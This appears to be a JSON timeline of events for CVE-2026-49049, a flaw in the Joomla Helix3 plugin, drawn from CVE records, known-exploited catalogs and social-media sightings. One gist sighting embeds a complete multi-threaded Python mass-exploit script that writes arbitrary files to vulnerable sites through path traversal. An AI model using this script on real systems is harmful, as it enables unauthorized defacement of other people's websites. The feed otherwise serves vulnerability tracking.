{"metadata": {"vulnerability": "CVE-2026-49049", "count": 42, "kinds": {"milestone": 4, "sighting": 21, "kev": 9, "other": 8}}, "data": [{"timestamp": "2026-05-27T09:16:31.897Z", "date_only": false, "value": "2026-05-27T09:16:31.897Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2026-49049", "field": "cveMetadata.dateReserved"}, {"timestamp": "2026-06-29T14:34:07.407Z", "date_only": false, "value": "2026-06-29T14:34:07.407Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2026-49049", "field": "cveMetadata.datePublished"}, {"timestamp": "2026-06-29T15:16:41Z", "date_only": false, "value": "2026-06-29T15:16:41Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-XR7R-292V-JXG8", "record": "GHSA-XR7R-292V-JXG8", "field": "database_specific.nvd_published_at"}, {"timestamp": "2026-06-29T15:16:41.363Z", "date_only": false, "value": "2026-06-29T15:16:41.363", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-49049", "record": "FKIE_CVE-2026-49049", "field": "published"}, {"timestamp": "2026-06-29T15:27:43.202Z", "date_only": false, "value": "2026-06-29T15:27:43.202923Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-49049", "field": "containers.adp.0.metrics.1.other.content.timestamp"}, {"timestamp": "2026-06-29T15:27:43.202Z", "date_only": false, "value": "2026-06-29T15:27:43.202923Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-49049", "record": "FKIE_CVE-2026-49049", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2026-06-29T15:28:05.850Z", "date_only": false, "value": "2026-06-29T15:28:05.850Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-49049", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-06-29T15:32:06Z", "date_only": false, "value": "2026-06-29T15:32:06Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-XR7R-292V-JXG8", "record": "GHSA-XR7R-292V-JXG8", "field": "published"}, {"timestamp": "2026-06-29T16:04:18.913Z", "date_only": false, "value": "2026-06-29T16:04:18.913175Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpgui7cu3k2o", "record": "CVE-2026-49049", "field": "creation_timestamp", "uuid": "1d45859c-5dc1-4953-b492-d90825f9baaa", "content": "CVE-2026-49049 - Joomla Extension - joomshaper.com - Unauthenticated access to Helix3 template ajax handler\nCVE ID : CVE-2026-49049\n \n Published : June 29, 2026, 2:34 p.m. | 1\u00a0hour, 11\u00a0minutes ago\n \n Description : The Helix3 plugin for Joomla exposes an ajax handler task, that...", "url": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpgui7cu3k2o"}, {"timestamp": "2026-06-29T18:31:53Z", "date_only": false, "value": "2026-06-29T18:31:53Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-XR7R-292V-JXG8", "record": "GHSA-XR7R-292V-JXG8", "field": "modified"}, {"timestamp": "2026-06-30T17:18:06.617Z", "date_only": false, "value": "2026-06-30T17:18:06.617", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-49049", "record": "FKIE_CVE-2026-49049", "field": "lastModified"}, {"timestamp": "2026-07-03T17:15:04.443Z", "date_only": false, "value": "2026-07-03T17:15:04.443224Z", "kind": "sighting", "label": "Seen", "source": "https://dnsc.ro/citeste/alerta-vulnerabilitate-exploatata-activ-in-joomla-helix3", "record": "CVE-2026-49049", "field": "creation_timestamp", "uuid": "095882b6-f75b-4a25-9cd5-30d09ee54c87", "url": "https://dnsc.ro/citeste/alerta-vulnerabilitate-exploatata-activ-in-joomla-helix3"}, {"timestamp": "2026-07-04T07:04:36.244Z", "date_only": false, "value": "2026-07-04T07:04:36.244166Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/vuldb/statuses/116860431613611432", "record": "CVE-2026-49049", "field": "creation_timestamp", "uuid": "88250feb-67da-4a68-b85a-032a6ed4efa7", "content": "Our CTI team identified a lot of activities targeting joomshaper Helix3 Extension (CVE-2026-49049) https://vuldb.com/vuln/374640/cti", "url": "https://infosec.exchange/users/vuldb/statuses/116860431613611432"}, {"timestamp": "2026-07-10T00:00:00Z", "date_only": false, "value": "2026-07-10T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "enisa-cnw-kev", "record": "CVE-2026-49049", "field": "timestamps.asserted_at", "uuid": "61a6006a-482b-4483-a146-773b90ceac14", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-10T00:00:00Z", "date_only": false, "value": "2026-07-10T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "enisa-cnw-kev", "record": "CVE-2026-49049", "field": "timestamps.first_seen_at", "uuid": "61a6006a-482b-4483-a146-773b90ceac14", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-10T00:00:00Z", "date_only": false, "value": "2026-07-10T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "enisa-cnw-kev", "record": "CVE-2026-49049", "field": "status.status_updated_at", "uuid": "61a6006a-482b-4483-a146-773b90ceac14", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-10T08:45:06.894Z", "date_only": false, "value": "2026-07-10T08:45:06.894455Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/suriq.io/post/3mqbr2xluki25", "record": "CVE-2026-49049", "field": "creation_timestamp", "uuid": "f658123b-c28a-45a0-b722-6749a70f5881", "content": "\ud83d\udd34 EXPLOITED\n\nA botnet is defacing Joomla sites through the Helix3 template framework, no login needed (CVE-2026-49049).\n\nIt hides in your database, so a file scan calls the site clean.\n\nFix: update both Helix3 plugins to 3.1.2, then check your template settings.", "url": "https://bsky.app/profile/suriq.io/post/3mqbr2xluki25"}, {"timestamp": "2026-07-13T06:01:19.425Z", "date_only": false, "value": "2026-07-13T06:01:19.425242Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/6ickzone/aabde4a1ad4f5b88cd0205d13ba4b609", "record": "CVE-2026-49049", "field": "creation_timestamp", "uuid": "c8f38285-15c9-4143-af6a-ca3aa386b3c9", "content": "#!/usr/bin/env python3\nimport requests\nimport sys\nimport os\nfrom concurrent.futures import ThreadPoolExecutor\n\n# Colors\nCYAN = \"\\033[1;36m\"\nGREEN = \"\\033[1;32m\"\nYELLOW = \"\\033[1;33m\"\nRED = \"\\033[1;31m\"\nRESET = \"\\033[0m\"\n\ndef banner():\n    os.system('clear' if os.name == 'posix' else 'cls')\n    print(f\"\"\"{CYAN}\n   \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2557  \u2588\u2588\u2557\n  \u2588\u2588\u2554\u2550\u2550\u2550\u2588\u2588\u2557\u255a\u2588\u2588\u2557\u2588\u2588\u2554\u255d\n  \u2588\u2588\u2551   \u2588\u2588\u2551 \u255a\u2588\u2588\u2588\u2554\u255d \n  \u2588\u2588\u2551   \u2588\u2588\u2551 \u2588\u2588\u2554\u2588\u2588\u2557 \n  \u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2554\u255d \u2588\u2588\u2557\n   \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u255d  \u255a\u2550\u255d\n{RESET}\n[+] Helix3 Multi-Path Scanner\n[+] CVE-2026-49049 | By: 0x6ick\n\"\"\")\n\nHEADERS = {\n    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'\n}\n\ndef exploit_target(target, filename, payload):\n    target = target.strip()\n    if not target.startswith(('http://','https://')): target = \"http://\" + target\n    target = target.rstrip('/')\n    \n    session = requests.Session()\n    session.headers.update(HEADERS)\n    \n    paths_to_try = [\n        '../../../' + filename, \n        'templates/shaper_helix3/layouts/' + filename, \n        'tmp/' + filename\n    ]\n    \n    try:\n        probe_url = f\"{target}/index.php?option=com_ajax&plugin=helix3&format=json\"\n        \n        # Probe\n        r = session.post(probe_url, data={'data[action]': 'save', 'data[layoutName]': 'probe', 'data[content]': '{\"t\":\"1\"}'}, timeout=8)\n        \n        if r.status_code == 200 and 'success' in r.text.lower():\n            for path in paths_to_try:\n                data_exploit = {\n                    'data[action]': 'save',\n                    'data[layoutName]': path,\n                    'data[content]': payload\n                }\n                session.post(probe_url, data=data_exploit, timeout=8)\n                \n                check = session.get(f\"{target}/{filename}.json\", timeout=5)\n                \n                if check.status_code == 200:\n                    print(f\"{GREEN}[+] SUCCESS: {target} (Path: {path}){RESET}\")\n                    with open(\"result.txt\", \"a\") as f: f.write(f\"{target}/{filename}.json\\n\")\n                    return True\n            \n            print(f\"{YELLOW}[!] VULN but Write failed on all paths: {target}{RESET}\")\n        else:\n            print(f\"{RED}[-] NOT VULN: {target}{RESET}\")\n            \n    except Exception:\n        print(f\"{RED}[-] ERROR: {target}{RESET}\")\n    return False\n\ndef main():\n    banner()\n    list_file = input(f\"{CYAN}[?] Target list file: {RESET}\")\n    \n    custom_name = input(f\"{CYAN}[?] Filename (default: 0x6ick): {RESET}\") or \"0x6ick\"\n    custom_payload = input(f\"{CYAN}[?] JSON content (default: stamped by 0x6ick): {RESET}\") or \"stamped by 0x6ick\"\n    \n    try:\n        with open(list_file, \"r\") as f:\n            targets = list(set([line.strip() for line in f if line.strip()]))\n        \n        print(f\"\\n{CYAN}[*] Starting mass exploit on {len(targets)} targets...{RESET}\\n\")\n        \n        with ThreadPoolExecutor(max_workers=15) as executor:\n            for t in targets:\n                executor.submit(exploit_target, t, custom_name, custom_payload)\n            \n        print(f\"\\n{GREEN}[+] DONE! Results saved in result.txt{RESET}\")\n        \n    except FileNotFoundError:\n        print(f\"{RED}[!] File not found!{RESET}\")\n\nif __name__ == \"__main__\":\n    main()\n", "url": "https://gist.github.com/6ickzone/aabde4a1ad4f5b88cd0205d13ba4b609"}, {"timestamp": "2026-07-13T22:00:12.312Z", "date_only": false, "value": "2026-07-13T22:00:12.312285Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/92039", "record": "CVE-2026-49049", "field": "creation_timestamp", "uuid": "67cb859f-c4dc-4348-9f3f-3ae0f9e155e4", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #XSS #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a asdsadsadasdasdsadsad\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a frada321\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-05 12:56:01\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u202fCVE-2026-49049 - Unauthenticated File Deletion, Arbitrary Write & XSS Injection for Helix3 Joomla Extension\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/92039"}, {"timestamp": "2026-07-13T22:00:13.059Z", "date_only": false, "value": "2026-07-13T22:00:13.059227Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/91930", "record": "CVE-2026-49049", "field": "creation_timestamp", "uuid": "d88aa82c-7eb4-470b-8f79-bb5b9a39becd", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Vulnerability Scanner\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-49049\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a shinthink\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-04 16:31:37\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRead-only vulnerability scanner for CVE-2026-49049 \u2014 Helix3 Joomla plugin unauthenticated AJAX handler\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/91930"}, {"timestamp": "2026-07-15T00:00:29.167Z", "date_only": false, "value": "2026-07-15T00:00:29.167064Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/91930", "record": "CVE-2026-49049", "field": "creation_timestamp", "uuid": "3fc7d3d0-cda8-4527-94c1-7abbb5e15ed7", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Vulnerability Scanner\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-49049\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a shinthink\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-04 16:31:37\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRead-only vulnerability scanner for CVE-2026-49049 \u2014 Helix3 Joomla plugin unauthenticated AJAX handler\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/91930"}, {"timestamp": "2026-07-16T12:00:07.051Z", "date_only": false, "value": "2026-07-16T12:00:07.051404Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/93283", "record": "CVE-2026-49049", "field": "creation_timestamp", "uuid": "38e23316-8485-4211-bb13-c025b1491fc7", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-49049\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ExDev994\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-13 19:56:12\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-49049 Helix3 (JoomShaper) Joomla Unauthenticated AJAX RCE Scanner\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/93283"}, {"timestamp": "2026-07-16T19:00:08.299Z", "date_only": false, "value": "2026-07-16T19:00:08.299560Z", "kind": "sighting", "label": "Seen", "source": "Telegram/ebH1a5NEotKwG91diqH39hoyWyfpt3aLkL269Yr45ItICbU", "record": "CVE-2026-49049", "field": "creation_timestamp", "uuid": "fafe1c02-a723-4e2d-9a92-3e4b2a8b9a74"}, {"timestamp": "2026-07-16T19:00:21.143Z", "date_only": false, "value": "2026-07-16T19:00:21.143116Z", "kind": "sighting", "label": "Seen", "source": "Telegram/7rIIDruJxEl38qBzoHyGM9oWQAxjhN2Km_TAbaElw9hJXAI", "record": "CVE-2026-49049", "field": "creation_timestamp", "uuid": "5813ebdc-75fc-4619-80a7-624a998d3b54"}, {"timestamp": "2026-07-16T19:00:22.183Z", "date_only": false, "value": "2026-07-16T19:00:22.183302Z", "kind": "sighting", "label": "Seen", "source": "Telegram/9Hb4fvIPrKK8606iJIWyf5bhKwWTbv2xyC9a2GDzZG3YJM8", "record": "CVE-2026-49049", "field": "creation_timestamp", "uuid": "ffe2a967-9fb0-4a05-9c8a-dff64debdb49"}, {"timestamp": "2026-07-17T00:00:09.535Z", "date_only": false, "value": "2026-07-17T00:00:09.535902Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/ebH1a5NEotKwG91diqH39hoyWyfpt3aLkL269Yr45ItICbU", "record": "CVE-2026-49049", "field": "creation_timestamp", "uuid": "aa4a72b9-a60e-4520-993b-be299d3b0534"}, {"timestamp": "2026-07-17T00:00:49.750Z", "date_only": false, "value": "2026-07-17T00:00:49.750325Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/93283", "record": "CVE-2026-49049", "field": "creation_timestamp", "uuid": "5ba9f7ff-ab4d-4210-8b0d-2a2cf0ed6761", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-49049\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ExDev994\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-13 19:56:12\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-49049 Helix3 (JoomShaper) Joomla Unauthenticated AJAX RCE Scanner\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/93283"}, {"timestamp": "2026-07-18T00:00:22.036Z", "date_only": false, "value": "2026-07-18T00:00:22.036378Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/9Hb4fvIPrKK8606iJIWyf5bhKwWTbv2xyC9a2GDzZG3YJM8", "record": "CVE-2026-49049", "field": "creation_timestamp", "uuid": "dac7cc4f-26a6-439d-879a-2ee3339ee831"}, {"timestamp": "2026-07-18T00:00:22.850Z", "date_only": false, "value": "2026-07-18T00:00:22.850821Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/7rIIDruJxEl38qBzoHyGM9oWQAxjhN2Km_TAbaElw9hJXAI", "record": "CVE-2026-49049", "field": "creation_timestamp", "uuid": "8e91b0ac-bc05-471f-93dd-694a71f1d6b4"}, {"timestamp": "2026-08-02T04:31:52.159Z", "date_only": false, "value": "2026-08-02T04:31:52.159101Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/96229", "record": "CVE-2026-49049", "field": "creation_timestamp", "uuid": "8a4008e7-f3bd-4a4a-a33a-159d2ce3a322", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Vulnerability Scanner\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-49049\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Jenderal92\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-02 02:52:00\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nMass vulnerability scanner for CVE-2026-49049 \u2013 Unauthenticated Remote Code Execution in Joomla Helix3 plugin. Multi\u2011threaded, detects both executed and raw PHP payloads.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/96229"}, {"timestamp": "2026-08-02T12:04:24.700Z", "date_only": false, "value": "2026-08-02T12:04:24.700638Z", "kind": "sighting", "label": "Seen", "source": "Telegram/Sb6Wc5i4LRFsLhrsQkDxumTYRfcqahqqyXLA7zXm3As8rD4", "record": "CVE-2026-49049", "field": "creation_timestamp", "uuid": "6c9eed61-a914-4433-95de-52768437f069"}, {"timestamp": "2026-08-11T08:44:44Z", "date_only": false, "value": "2026-08-11T08:44:44+00:00", "kind": "kev", "label": "Asserted", "source": "kevintel", "record": "CVE-2026-49049", "field": "timestamps.asserted_at", "uuid": "3984f8d8-b01a-4ae2-8c8f-29cf5a085dd0", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-08-11T08:44:44Z", "date_only": false, "value": "2026-08-11T08:44:44+00:00", "kind": "kev", "label": "First seen", "source": "kevintel", "record": "CVE-2026-49049", "field": "timestamps.first_seen_at", "uuid": "3984f8d8-b01a-4ae2-8c8f-29cf5a085dd0", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-08-11T08:44:44Z", "date_only": false, "value": "2026-08-11T08:44:44+00:00", "kind": "kev", "label": "Status updated", "source": "kevintel", "record": "CVE-2026-49049", "field": "status.status_updated_at", "uuid": "3984f8d8-b01a-4ae2-8c8f-29cf5a085dd0", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-08-11T08:44:44.938Z", "date_only": false, "value": "2026-08-11T08:44:44.938Z", "kind": "kev", "label": "Catalog added", "source": "kevintel", "record": "CVE-2026-49049", "field": "evidence.0.details.added_date", "uuid": "3984f8d8-b01a-4ae2-8c8f-29cf5a085dd0", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-08-11T09:00:01Z", "date_only": false, "value": "2026-08-11T09:00:01+00:00", "kind": "kev", "label": "Recorded", "source": "kevintel", "record": "CVE-2026-49049", "field": "timestamps.recorded_at", "uuid": "3984f8d8-b01a-4ae2-8c8f-29cf5a085dd0", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-08-11T09:00:24.469Z", "date_only": false, "value": "2026-08-11T09:00:24.469726Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3984f8d8-b01a-4ae2-8c8f-29cf5a085dd0", "record": "CVE-2026-49049", "field": "creation_timestamp", "uuid": "06270290-a287-4e79-88d7-518338205539", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3984f8d8-b01a-4ae2-8c8f-29cf5a085dd0"}, {"timestamp": "2026-08-12T13:58:11.940Z", "date_only": false, "value": "2026-08-12T13:58:11.940Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2026-49049", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-08-12T13:58:11.940Z", "date_only": false, "value": "2026-08-12T13:58:11.940Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / Joomla", "record": "CVE-2026-49049", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2026-08-14T06:00:14.363Z", "date_only": false, "value": "2026-08-14T06:00:14.363956Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-49049.yaml", "record": "CVE-2026-49049", "field": "creation_timestamp", "uuid": "9fa1ec40-a24a-4348-846e-f6430fc11af0", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-49049.yaml"}, {"timestamp": "2026-08-20T08:12:45Z", "date_only": false, "value": "2026-08-20T08:12:45+00:00", "kind": "kev", "label": "Recorded", "source": "enisa-cnw-kev", "record": "CVE-2026-49049", "field": "timestamps.recorded_at", "uuid": "61a6006a-482b-4483-a146-773b90ceac14", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-08-20T08:12:46.238Z", "date_only": false, "value": "2026-08-20T08:12:46.238509Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/61a6006a-482b-4483-a146-773b90ceac14", "record": "CVE-2026-49049", "field": "creation_timestamp", "uuid": "6449646f-f3f8-4a23-8e71-26f5824f70ee", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/61a6006a-482b-4483-a146-773b90ceac14"}]}